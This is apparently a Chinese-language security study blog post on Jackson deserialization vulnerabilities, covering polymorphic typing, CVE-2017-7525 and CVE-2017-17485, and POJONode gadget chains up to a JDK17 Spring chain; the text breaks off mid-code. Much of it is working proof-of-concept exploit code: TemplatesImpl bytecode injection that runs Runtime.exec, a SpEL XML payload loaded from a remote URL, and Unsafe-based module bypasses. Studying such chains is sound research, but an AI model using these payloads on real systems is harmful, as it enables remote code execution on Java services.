Featured image of post jackson反序列化

jackson反序列化

jackson反序列化

Jackson 是一个开源的Java序列化和反序列化工具,可以将 Java 对象序列化为 XML 或 JSON 格式的字符串,以及将 XML 或 JSON 格式的字符串反序列化为 Java 对象。

依赖

载个低版本2.7.9来学习

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
<dependencies>  
  <dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-databind</artifactId>  
    <version>2.7.9</version>  
  </dependency>  
  <dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-core</artifactId>  
    <version>2.7.9</version>  
  </dependency>  
  <dependency>  
    <groupId>com.fasterxml.jackson.core</groupId>  
    <artifactId>jackson-annotations</artifactId>  
    <version>2.7.9</version>  
  </dependency>  
</dependencies>

序列化和反序列化

依旧person类

1
2
3
4
5
6
7
8
9
public class Person {
    public int age;
    public String name;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s", age, name);
    }
}

然后jackson的序列化与反序列化代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import com.fasterxml.jackson.databind.ObjectMapper;

public class JacksonTest {
    public static void main(String[] args) throws Exception {
        Person p = new Person();
        p.age = 114514;
        p.name = "hajimi";
        ObjectMapper mapper = new ObjectMapper();

        String json = mapper.writeValueAsString(p);
        System.out.println(json);

        Person p2 = mapper.readValue(json, Person.class);
        System.out.println(p2);
    }
}

image-20251005173926627

Jackson 多态问题

简单地说,Java 多态就是同一个接口使用不同的实例而执行不同的操作。

那么问题来了,如果对多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例呢?—— Jackson 实现了 JacksonPolymorphicDeserialization 机制来解决这个问题。

JacksonPolymorphicDeserialization 即Jackson多态类型的反序列化:在反序列化某个类对象的过程中,如果类的成员变量不是具体类型(non-concrete),比如 Object、接口或抽象类,则可以在 JSON 字符串中指定其具体类型,Jackson 将生成具体类型的实例。

具体的操作:启用 DefaultTyping@JsonTypeInfo 注解,跟fastjson类似

DefaultTyping

在ObjectMapping类有介绍

image-20251005201136462

上面注释写的很清楚了,第二个就是默认的type

下面挨个说明

JAVA_LANG_OBJECT

当被序列化或反序列化的类里的属性被声明为一个 Object 类型时,会对该 Object 类型的属性进行序列化和反序列化,并且明确规定类名。(当然,这个 Object 本身也得是一个可被序列化的类)

写个代码测试一下

新增一个hacker类

1
2
3
public class Hacker {
    public String ManBo = "HaJiMi";
}

在person类新增一个object

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class Person {
    public int age;
    public String name;
    public Object object;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s, %s", age, name, object);
    }
}

然后写测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
import com.fasterxml.jackson.databind.ObjectMapper;

public class JacksonTest {
    public static void main(String[] args) throws Exception {
        Person p = new Person();
        p.age = 114514;
        p.name = "hajimi";
        ObjectMapper mapper = new ObjectMapper();

        String json = mapper.writeValueAsString(p);
        System.out.println(json);

        Person p2 = mapper.readValue(json, Person.class);
        System.out.println(p2);
    }
}

image-20251006144655567

可以看到输出了hacker类,说明对object类型的对象进行了序列化和反序列化

OBJECT_AND_NON_CONCRETE

注释上写着,这个是默认的选项,而且除了上面的object类型的对象,当类里有接口或者抽象类时也是可以的

,还要注意不能包含数组

那就写个接口测试一下

1
2
3
4
public interface ManBo {
    public void setManBo(int manBo);
    public int getManBo();
}

写接口的实现类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class ManBoTest implements ManBo {
    int ManBo;

    @Override
    public void setManBo(int manBo) {
        this.ManBo = manBo;
    }

    @Override
    public int getManBo() {
        return ManBo;
    }
}

然后在前面person类添加这个类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class Person {
    public int age;
    public String name;
    public Object object;
    public ManBo manBo;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s, %s, %s", age, name, object, manBo);
    }
}

然后改测试代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import com.fasterxml.jackson.databind.ObjectMapper;

public class ObjectTest {
    public static void main(String[] args) throws Exception {
        Person p = new Person();
        p.age = 114514;
        p.name = "hajimi";
        p.object = new Hacker();
        p.manBo = new ManBoTest();
        ObjectMapper mapper = new ObjectMapper();
        // 设置OBJECT_AND_NON_CONCRETE
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
        // 或直接无参调用,输出一样
        //mapper.enableDefaultTyping();  
        String json = mapper.writeValueAsString(p);
        System.out.println(json);

        Person p2 = mapper.readValue(json, Person.class);
        System.out.println(p2);
    }
}

image-20251006151517969

可以看到接口类也被成功序列化和反序列化

NON_CONCRETE_AND_ARRAYS

弥补了上面的不足,添加了数组的序列化操作

NON_FINAL

除了前面的所有特征外,包含即将被序列化的类里的全部、非 final 的属性,也就是相当于整个类、除 final 外的属性信息都需要被序列化和反序列化。

从前面的分析知道,DefaultTyping 的几个设置选项是逐渐扩大适用范围的,如下表:

DefaultTyping类型 描述说明
JAVA_LANG_OBJECT 属性的类型为Object
OBJECT_AND_NON_CONCRETE 属性的类型为Object、Interface、AbstractClass
NON_CONCRETE_AND_ARRAYS 属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL 所有除了声明为final之外的属性

@JsonTypeInfo 注解

@JsonTypeInfo 注解是 Jackson 多态类型绑定的一种方式,支持下面5种类型的取值:

1
2
3
4
5
@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)  
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)  
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)  
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)  
@JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

image-20251006155852356

JsonTypeInfo.Id.NONE

默认配置

JsonTypeInfo.Id.CLASS

实际上就是在前下的person类上加注解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Person {
    public int age;
    public String name;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public Object object;
    public ManBo manBo;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s, %s, %s", age, name, object, manBo);
    }
}

image-20251006162223634

输出多了"@class":"Hacker",也就是说,在Jackson反序列化的时候如果使用了JsonTypeInfo.Id.CLASS修饰的话,可以通过@class的方式指定相关类,并进行相关调用。

JsonTypeInfo.Id.MINIMAL_CLASS

其实就是序列化的时候把上面@class变成了@c

JsonTypeInfo.Id.NAME

上面的变成了@type,但是直接反序列化会报错,原因是没有具体的包名在内的类名

JsonTypeInfo.Id.CUSTOM

自定义的类型,要用得自己写一个解析器

总结:只有设置为JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS能利用

反序列化中类属性方法的调用

测试一下jackson用上述方法反序列化时调用的方法是getter还是setter

DefaultTyping

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public class Person {
    public int age;
    public String name;
    public ManBo manBo;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s, %s", age, name, manBo);
    }
}

然后ManBo类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
public class ManBoTest implements ManBo {
    int ManBo;

    public ManBoTest() {
        System.out.println("ManBo构造函数");
    }

    @Override
    public void setManBo(int manBo) {
        System.out.println("ManBo的setter");
        this.ManBo = manBo;
    }



    @Override
    public int getManBo() {
        System.out.println("ManBo的getter");
        return ManBo;
    }
}

然后反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import com.fasterxml.jackson.databind.ObjectMapper;

public class SerializeTest {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = "{\"age\":114514,\"name\":\"hajimi\",\"manBo\":[\"ManBoTest\",{\"manBo\":0}]}";
        Person person = mapper.readValue(json, Person.class);
        System.out.println(person);
    }
}

这里的json可以用之前的测试代码生成,因为默认的选项可以解析接口

image-20251006180506544

可以看到调用了setter方法

@JsonTypeInfo 注解

在person类里加注解

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import com.fasterxml.jackson.annotation.JsonTypeInfo;

public class Person {
    public int age;
    public String name;
    @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
    public ManBo manBo;

    @Override
    public String toString() {
        return String.format("Person.age=%d, Person.name=%s, %s", age, name, manBo);
    }
}

然后反序列化代码去掉enableDefaultTyping,结果跟上面一样

调试就不调了,这里直接给出jackson反序列化的结论:在 Jackson 反序列化中,若调用了 enableDefaultTyping() 函数或使用 @JsonTypeInfo 注解指定反序列化得到的类的属性为 JsonTypeInfo.Id.CLASSJsonTypeInfo.Id.MINIMAL_CLASS,则会调用该属性的类的构造函数和 setter 方法。

jackson反序列化漏洞

要实现利用,必须满足上面的三个条件

属性不为Object类

几乎无法利用,除非开发脑抽在setter方法里面写后门

属性为Object类

利用思路就跟fastjson一样了,因为Object类是所有类的父类,所以找到一个类的setter方法能利用就行

CVE-2017-7525

基于 TemplatesImpl 利用链的一个漏洞,jdk版本是7u21或者8u20动态代理的链子

抄别人poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class PoC {  
    public static void main(String[] args) throws Exception {  
        String exp = readClassStr("E:\\evilClass\\SimpleCalc.class");  
        String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +  
                "{\n" +  
                "'transletBytecodes':['"+exp+"'],\n" +  
                "'transletName':'drun1baby',\n" +  
                "'outputProperties':{}\n" +  
                "}\n" +  
                "]\n" +  
                "}");  
        System.out.printf(jsonInput);  
        ObjectMapper mapper = new ObjectMapper();  
        mapper.enableDefaultTyping();  
        Test test;  
        try {  
            test = mapper.readValue(jsonInput, Test.class);  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    public static String aposToQuotes(String json){  
        return json.replace("'","\"");  
    }  
  
    public static String readClassStr(String cls) throws Exception{  
  
        File file = new File(cls);  
        FileInputStream fileInputStream = new FileInputStream(file);  
        byte[] bytes = new byte[(int) file.length()];  
        fileInputStream.read(bytes);  
        String base64Encoded = DatatypeConverter.printBase64Binary(bytes);  
        return base64Encoded;  
    }  
}

Jackson 是调用任意的构造函数与任意的 setter 方法,但是这里并没有setter方法,怎么触发的?

实际上这里反序列化的时候,只要构造函数中存在的属性,不存在 setter 方法时,都会自动调到 getter 方法。outputProperties由于没有setter方法,所以自动调用了getter方法触发了链子

CVE-2017-17485

这个漏洞不是原生的,而是要基于spring的,打spel表达式注入

抄的poc:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
public class PoC {  
    public static void main(String[] args)  {  
        //CVE-2017-17485  
        String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1:8888/spel.xml\"]";  
        ObjectMapper mapper = new ObjectMapper();  
        mapper.enableDefaultTyping();  
        try {  
            mapper.readValue(payload, Object.class);  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
}

spel.xml

1
2
3
4
5
6
7
8
9
<beans xmlns="http://www.springframework.org/schema/beans"  
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
       xsi:schemaLocation="  
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">  
    <bean id="pb" class="java.lang.ProcessBuilder">  
        <constructor-arg value="calc" />  
        <property name="whatever" value="#{ pb.start() }"/>  
    </bean>  
</beans>

jackson原生反序列化

springboot都会自带jackson这个包,和fastjson的JsonObject一样,JackSon里的PojoNode,它的toString也是可以直接触发任意的getter的

而这个触发条件如下:

  • 不需要存在该属性

  • getter方法需要有返回值

  • 尽可能的只有一个getter

这条链起因是阿里云ctf2023的bypassit题的链子,当时springboot内置的jackson版本是2.13.3,这里idea补全是2.13.5,就用这个版本打吧

测试demo

恶意类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import java.io.Serializable;

public class User implements Serializable {
    String name;
    public User() {
    }

    public String getName() throws Exception {
        Runtime.getRuntime().exec("calc");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

然后实现

1
2
3
4
5
6
7
8
9
import com.fasterxml.jackson.databind.node.POJONode;

public class CalcTest {
    public static void main(String[] args) throws Exception {
        User user = new User();
        POJONode pojoNode = new POJONode(user);
        pojoNode.toString();
    }
}

弹计算器了说明肯定toString触发了User类的getter方法

调试

在toString这里下断点,直接上堆栈

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
serializeAsField:695, BeanPropertyWriter (com.fasterxml.jackson.databind.ser)
serializeFields:774, BeanSerializerBase (com.fasterxml.jackson.databind.ser.std)
serialize:178, BeanSerializer (com.fasterxml.jackson.databind.ser)
defaultSerializeValue:1142, SerializerProvider (com.fasterxml.jackson.databind)
serialize:115, POJONode (com.fasterxml.jackson.databind.node)
serialize:39, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
serialize:20, SerializableSerializer (com.fasterxml.jackson.databind.ser.std)
_serialize:480, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serializeValue:319, DefaultSerializerProvider (com.fasterxml.jackson.databind.ser)
serialize:1518, ObjectWriter$Prefetch (com.fasterxml.jackson.databind)
_writeValueAndClose:1219, ObjectWriter (com.fasterxml.jackson.databind)
writeValueAsString:1086, ObjectWriter (com.fasterxml.jackson.databind)
nodeToString:30, InternalNodeMapper (com.fasterxml.jackson.databind.node)
toString:136, BaseJsonNode (com.fasterxml.jackson.databind.node)
main:7, CalcTest

可以看到 POJONode 中的 toString 最终是从 BaseJsonNode 继承来的

调用链为:toString -> InternalNodeMapper#nodeToString -> ObjectWriter#writeValueAsString

image-20251009210313667

最后是一个bean的序列化,会调用对象的getter方法

注意点:writeReplace

image-20251009204434775

pojonode类是继承BaseJsonNode类的,它重写了writeReplace函数,所以会走他这个writeReplace方法,这是反序列化的规则,原理如下:

image-20251009211527579

writeObject0这里会判断有没有WriteReplace函数,然后调用,而这里重写的方法会将原来的字符串序列化成别的类型,然后反序列化时会报错

解决办法:重写这里的BaseJsonNode类,把它的这个writeReplace删掉,很容易想到之前学的javassist能进行这个操作

1
2
3
4
CtClass cc = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
cc.removeMethod(writeReplace);
cc.toClass();

TemplatesImpl链

其实就是fastjson中间用jsonArray或者jsonObject换成这里的pojoNode

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class TemplatesImplAttack {
    private static Unsafe unsafe = null;
    public static void main(String[] args) throws Exception {
        Class c = Unsafe.class;
        Field field = c.getDeclaredField("theUnsafe");
        field.setAccessible(true);
        unsafe = (Unsafe) field.get(null);
        //重写BaseJsonNode
        CtClass cc2 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
        CtMethod writeReplace = cc2.getDeclaredMethod("writeReplace");
        cc2.removeMethod(writeReplace);
        cc2.toClass();

        TemplatesImpl templatesImpl = (TemplatesImpl) unsafe.allocateInstance(TemplatesImpl.class);
        setFieldValue(templatesImpl, "_name", "calc");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{generatePayload()});
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());

        POJONode pojoNode = new POJONode(templatesImpl);

        BadAttributeValueExpException badAttributeValueExpException = (BadAttributeValueExpException) unsafe.allocateInstance(BadAttributeValueExpException.class);
        setFieldValue(badAttributeValueExpException, "val", pojoNode);
        //序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(badAttributeValueExpException);
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }
    public  static void setFieldValue(Object target,String fieldName,Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(fieldName);
        long offset = unsafe.objectFieldOffset(field);
        unsafe.putObject(target, offset, value);
    }
    public static byte[] generatePayload() throws Exception{
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Test");
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return cc.toBytecode();
    }
}

SignObject链

在Templates被ban的情况下 打二次反序列化,这里还没学二次反序列化,后面补

LdapAttribute链

jndi没学,后面补(

jackson链子不稳定的解决

参考:从JSON1链中学习处理JACKSON链的不稳定性-先知社区

没遇到过,如果遇到报错可能如下:

1
2
3
4
5
6
7
8
9
Caused by: java.lang.NullPointerException
    at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getStylesheetDOM(TemplatesImpl.java:450)
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:483)
    at com.fasterxml.jackson.databind.ser.BeanPropertyWriter.serializeAsField(BeanPropertyWriter.java:689)
    at com.fasterxml.jackson.databind.ser.std.BeanSerializerBase.serializeFields(BeanSerializerBase.java:774)
    ... 74 more

调试后知道BeanSerializerBase#serializeFields会循环拿props,然后调用getter方法

调用顺序如下:

1
2
3
transletindex
stylesheetDOM
outputProperties

此时 stylesheetDOMoutputProperties 之前,所以 getStylesheetDOM 会先于 getOutputProperties 触发。当 getStylesheetDOM 方法先被触发时,由于 _sdom 成员为空,会导致空指针报错,反序列化攻击失败。不过此处获取的顺序会有一定的不稳定性,有时 outputProperties 会在 stylesheetDOM 之前,这个时候反序列化攻击可以成功。

解决办法:springaop的JdkDynamicAopProxy代理

这里是先使用 commons-beanutils 这个库获取代理类所有的 getter 方法,然后调用代理类的 getter 方法,触发 JdkDynamicAopProxy 类的 invoke 方法。

同时应该注意到,当我们使用反射获取一个代理类上的所有方法时,只能获取到其代理的接口方法

我们的目的应该是让代理类仅仅包含我们需要的方法 getOutputProperties

查看 TemplatesImpl 实现的 javax.xml.transform.Templates 这个接口。

可以看到它只有一个 getter 方法,就是我们需要的 getOutputProperties 方法。

1
2
3
4
5
6
public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}

所以思路如下:

  1. 构造一个 JdkDynamicAopProxy 类型的对象,将 TemplatesImpl 类型的对象设置为 targetSource
  2. 使用这个 JdkDynamicAopProxy 类型的对象构造一个代理类,代理 javax.xml.transform.Templates 接口
  3. JSON 序列化库只能从这个 JdkDynamicAopProxy 类型的对象上找到 getOutputProperties 方法
  4. 通过代理类的 invoke 机制,触发 TemplatesImpl#getOutputProperties 方法,实现恶意类加载

这需要添加一个 Spring AOP 的依赖,但是在 SpringBoot 环境下默认是存在这个依赖的。

1
2
3
4
5
6
7
8
9
public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
    AdvisedSupport advisedSupport = new AdvisedSupport();
    advisedSupport.setTarget(templates);
    Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
    constructor.setAccessible(true);
    InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
    Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
    return proxy;
}

高版本jdk的spring原生链

参考:高版本JDK下的Spring原生反序列化链 – fushulingのblog

起个jdk17的maven项目

依赖:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.suctf</groupId>
    <artifactId>Spring</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>17</maven.compiler.source>
        <maven.compiler.target>17</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
            <version>3.5.4</version>
        </dependency>

        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.30.2-GA</version>
        </dependency>
    </dependencies>
</project>

jdk17中ban掉了前面的BadAttributeValueExpException类,触发不了toString,但是在fastjson中我们研究过另一条EventListenerList链也能触发toString

jdk17同时还有反射限制,我们用unsafe绕过,还有一件事:在jdk17,需要修改module值来访问内部类

可以像下面把类全部存到ArrayList里面,然后全部修改成当前类的module

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(SpringRCE.class);
classes.add(Field.class);
classes.add(Method.class);
new SpringRCE().bypassModule(classes);

public void bypassModule(ArrayList<Class> classes) throws Exception {
        Unsafe unsafe = getUnsafe();
        Class currentClass = this.getClass();

        Method getModuleMethod = getMethod(Class.class, "getModule", new Class[0]);
        if (getModuleMethod != null) {
            for (Class aClass : classes) {
                Object targetModule = getModuleMethod.invoke(aClass, new Object[]{});
                unsafe.getAndSetObject(currentClass,
                        unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), targetModule);
            }
        }
    }

或者循环修改

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Class<?>[] targetClasses = {
    TemplatesImpl.class,
    POJONode.class,
    EventListenerList.class,
    SpringRCE.class,
    Field.class,
    Method.class
};
Class<?> dstClass = SpringRCE.class;
for (Class<?> srcClass : targetClasses) {
    bypassModule(srcClass, dstClass);
}

public static void bypassModule(Class src, Class dst) throws Exception {
        Unsafe unsafe = getUnsafe();
        long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
        unsafe.getAndSetObject(src, addr, unsafe.getObject(dst,unsafe.objectFieldOffset(Class.class.getDeclaredField("module"))));
    }    

在这里需要注意一个很重要的点,在以往我们利用TemplatesImpl 的时候,被利用的目标都需要继承 AbstractTranslet ,但在高版本下肯定是不行的,因为必然涉及到模块化的检测导致报错,但是实际上可以不继承

这篇已经分析过了,TemplatesImpl 分析 🦖 Whoopsunix,思路为反射修改_transletIndex属性值,然后将bytecodes赋值,使数量大于1

而且文章后面讲到:在之前的分析中,为了满足 _tfactory 不为空这个条件,通过反射设置为 TransformerFactoryImpl 实例对象。但是事实上 _tfactory 这个字段是被 transient 修饰的,并不参与序列化过程,所以我们是没有必要设置这个值的,而在调用 readObject() 方法时也对该字段进行赋值,所以不会报错。所以得到伪代码如下:

1
2
3
4
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
setFieldValue(templates,"_transletIndex",0);

由上面我们知道JdkDynamicAopProxy可以用于解决jackson中的getter稳定触发问题,而他不仅仅解决了这个问题,如果没有aop的话,jackson没法为TemplatesImpl创建一个新的类,因为直接传入 TemplatesImpl 对象的话,com.sun.org.apache.xalan.internal.xsltc.trax 没有 export 给外部,所以会出现报错。但是经过 AOP 代理之后,对外暴露的接口是 javax.xml.transform.Templates,在 java.xml 模块中是公开 exports 的,所以能正常反序列化,最后由代理 AOP 调用 getOutputProperties 实现RCE,Jackson 只是正常调用了接口方法,代理帮它把调用转发到了 TemplatesImpl

poc

死活没打通,直接抄了

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import javax.swing.event.EventListenerList;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import javax.swing.undo.UndoManager;
import java.util.Base64;
import java.util.Vector;
import java.util.ArrayList;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import sun.misc.Unsafe;
import java.lang.reflect.Method;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.*;

// --add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=jdk.unsupported/sun.misc=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED
public class SpringRCE {
    public static void main(String[] args) throws Exception{
        // 删除writeReplace保证正常反序列化
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass jsonNode = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
            CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
            jsonNode.removeMethod(writeReplace);
            ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
            jsonNode.toClass(classLoader, null);
        } catch (Exception e) {
        }

        // 把模块强行修改,切换成和目标类一样的 Module 对象
        ArrayList<Class> classes = new ArrayList<>();
        classes.add(TemplatesImpl.class);
        classes.add(POJONode.class);
        classes.add(EventListenerList.class);
        classes.add(SpringRCE.class);
        classes.add(Field.class);
        classes.add(Method.class);
        new SpringRCE().bypassModule(classes);

        // ===== EXP 构造 =====
        byte[] code1 = getTemplateCode();
        byte[] code2 = ClassPool.getDefault().makeClass("0d00").toBytecode();

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_bytecodes", new byte[][]{code1, code2});
        setFieldValue(templates,"_transletIndex",0);

        POJONode node = new POJONode(makeTemplatesImplAopProxy(templates));

        EventListenerList eventListenerList = getEventListenerList(node);

        byte[] exp = serialize(eventListenerList, true);

        unserialize(exp);
    }

    public static byte[] serialize(Object obj, boolean flag) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        oos.close();
        if (flag) System.out.println(Base64.getEncoder().encodeToString(baos.toByteArray()));
        return baos.toByteArray();
    }

    public static void unserialize(byte[] exp) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(exp);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    public static Object makeTemplatesImplAopProxy(TemplatesImpl templates) throws Exception {
        AdvisedSupport advisedSupport = new AdvisedSupport();
        advisedSupport.setTarget(templates);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
        Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler);
        return proxy;
    }

    public static byte[] getTemplateCode() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass template = pool.makeClass("MyTemplate");
        String block = "Runtime.getRuntime().exec(\"calc\");";
        template.makeClassInitializer().insertBefore(block);
        return template.toBytecode();
    }

    public static EventListenerList getEventListenerList(Object obj) throws Exception{
        EventListenerList list = new EventListenerList();
        UndoManager undomanager = new UndoManager();

